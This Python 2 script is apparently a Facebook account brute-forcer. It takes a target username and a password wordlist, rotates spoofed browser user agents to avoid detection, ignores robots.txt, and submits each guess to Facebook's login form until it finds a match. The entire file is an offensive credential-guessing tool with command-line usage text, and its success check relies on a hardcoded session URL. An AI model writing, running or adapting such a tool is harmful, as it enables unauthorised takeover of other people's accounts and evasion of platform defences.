import re import os import sys import random import warnings import time import mechanize import cookielib verbose = False useproxy = False usepassproxy = False log = 'fbbruteforcer.log' success = 'https://www.facebook.com/?stype=lo&jlou=Afef5xN4CaPr-GP2fXivYCHNoxCidq13YpHbEw7hBNuC13t6NVCO5M3KkOPTq2RyYi86L2IptS3GkygvXGSTv2zn&smuh=36195&lh=Ac-Tln8Yry8q-2Ge' #success = 'http://www.facebook.com/?sk=messages&ref=mb' fblogin = 'https://login.facebook.com/login.php?login_attempt=1' # some cheating .. ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)', 'Microsoft Internet Explorer/4.0b1 (Windows 95)', 'Opera/8.00 (Windows NT 5.1; U; en)', 'amaya/9.51 libwww/5.4.0', 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]' ] option = ''' Usage : %s [options] Option : -u, --username | User for bruteforcing -w, --wordlist | Wordlist used for bruteforcing -v, --verbose | Set %s will be verbose P.S : add "&" to run in the background ''' % (sys.argv[0], sys.argv[0], sys.argv[0]) usage = ''' Usage : %s [option] -h or --help for get help ''' % sys.argv[0] def helpme(): print option def help(): print usage for arg in sys.argv: try: if arg.lower() == '-u' or arg.lower() == '--user': username = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == '-w' or arg.lower() == '--wordlist': wordlist = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == '-v' or arg.lower() == '--verbose': verbose = True elif arg.lower() == '-h' or arg.lower() == '--help': helpme() elif len(sys.argv) <= 1: help() except IOError: helpme() except NameError: helpme() except IndexError: helpme() def bruteforce(word): try: sys.stdout.write("\r[*] Trying %s... " % word) sys.stdout.flush() br.addheaders = [('User-agent', random.choice(ouruseragent))] opensite = br.open(fblogin) br.select_form(nr=0) br.form['email'] = username br.form['pass'] = word br.submit() response = br.response().read() print response if verbose: print response if success in response: print "\n\n[*] Logging in success..." print "[*] Username : %s" % (username) print "[*] Password : %s\n" % (word) sys.exit(1) except KeyboardInterrupt: print "\n[*] Exiting program...\n" sys.exit(1) def releaser(): global word for word in words: bruteforce(word.replace("\n","")) def main(): global br global words try: br = mechanize.Browser() cj = cookielib.LWPCookieJar() br.set_cookiejar(cj) br.set_handle_equiv(True) br.set_handle_gzip(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.set_debug_http(False) br.set_debug_redirects(False) br.set_debug_redirects(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) if verbose: br.set_debug_http(True) br.set_debug_redirects(True) br.set_debug_redirects(True) except KeyboardInterrupt: print "\n[*] Exiting program...\n" try: preventstrokes = open(wordlist, "r") words = preventstrokes.readlines() count = 0 while count < len(words): words[count] = words[count].strip() count += 1 except IOError: print "\n[*] Error: Check your wordlist path\n" sys.exit(1) except NameError: help() except KeyboardInterrupt: print "\n[*] Exiting program...\n" sys.exit(1) try: print "\n[*] Starting attack at %s" % time.strftime("%X") print "[*] Account %s" % (username) print "[*] Loaded :",len(words),"words" print "[*] Bruteforcing, please wait..." except KeyboardInterrupt: print "\n[*] Exiting program...\n" sys.exit(1) try: releaser() bruteforce(word) except NameError: helpme() if __name__ == '__main__': main()